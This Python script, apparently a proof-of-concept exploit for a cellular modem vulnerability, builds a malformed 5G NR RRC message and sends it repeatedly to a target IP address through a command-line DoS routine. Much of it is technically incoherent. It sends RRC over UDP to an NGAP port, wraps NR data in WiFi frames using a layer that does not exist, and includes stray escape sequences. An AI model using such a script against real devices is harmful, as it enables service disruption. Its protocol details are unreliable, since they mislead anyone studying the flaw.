# CVE-2025-61618 PoC - NR Modem Input Validation Error
# This PoC demonstrates sending malformed NR RRC messages to trigger DoS
# Note: This is for educational and authorized testing purposes only
import socket
import struct
from scapy.all import *
def create_malformed_nr_rrc_message():
"""
Create a malformed NR RRC Setup Request to trigger input validation error
"""
# NR RRC Connection Request message with malformed UE Identity
rrc_pdu = bytes([
0x00, 0x01, # RRC Transaction Identifier
0x00, 0x40, # RRC Message Type: Connection Request
0x00, 0x00, 0x00, 0x00, # Spare bits
# Malformed UE Identity - trigger validation error
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, # Invalid length/format
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
])
return rrc_pdu
def send_nr_dos_packets(target_ip, port=38412, count=100):
"""
Send malformed NR packets to trigger the vulnerability
Args:
target_ip: Target device IP address
port: Target port (typically 38412 for NR NAS)
count: Number of packets to send
"""
print(f"[*] Starting DoS attack simulation on {target_ip}:{port}")
print(f"[*] Sending {count} malformed NR RRC messages...")
malformed_msg = create_malformed_nr_rrc_message()
for i in range(count):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(malformed_msg, (target_ip, port))
sock.close()
if i % 10 == 0:
print(f"[*] Sent {i} packets...")
except Exception as e:
print(f"[!] Error sending packet: {e}")
print("[*] Attack simulation completed")
print("[*] If vulnerable, the NR modem should crash/reset")
def analyze_with_scapy(target_mac, ssid="TestNR"):
"""
Alternative method using Scapy for LTE/NR packet crafting
"""
print(f"[*] Crafting malformed NR RRC packet...")
# Create base NR RRC packet
pkt = RadioTap() /\n Dot15dTaskFrame() /\n Dot11() /\n Dot11QoS() /\n LLC() /\n SNAP() /\n Raw(load=create_malformed_nr_rrc_message())
send(pkt, iface="wlan0", count=1, verbose=1)
print("[*] Malformed packet sent")
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description='CVE-2025-61618 PoC')
parser.add_argument('target', help='Target IP address')
parser.add_argument('--port', type=int, default=38412, help='Target port')
parser.add_argument('--count', type=int, default=100, help='Number of packets')
args = parser.parse_args()
send_nr_dos_packets(args.target, args.port, args.count)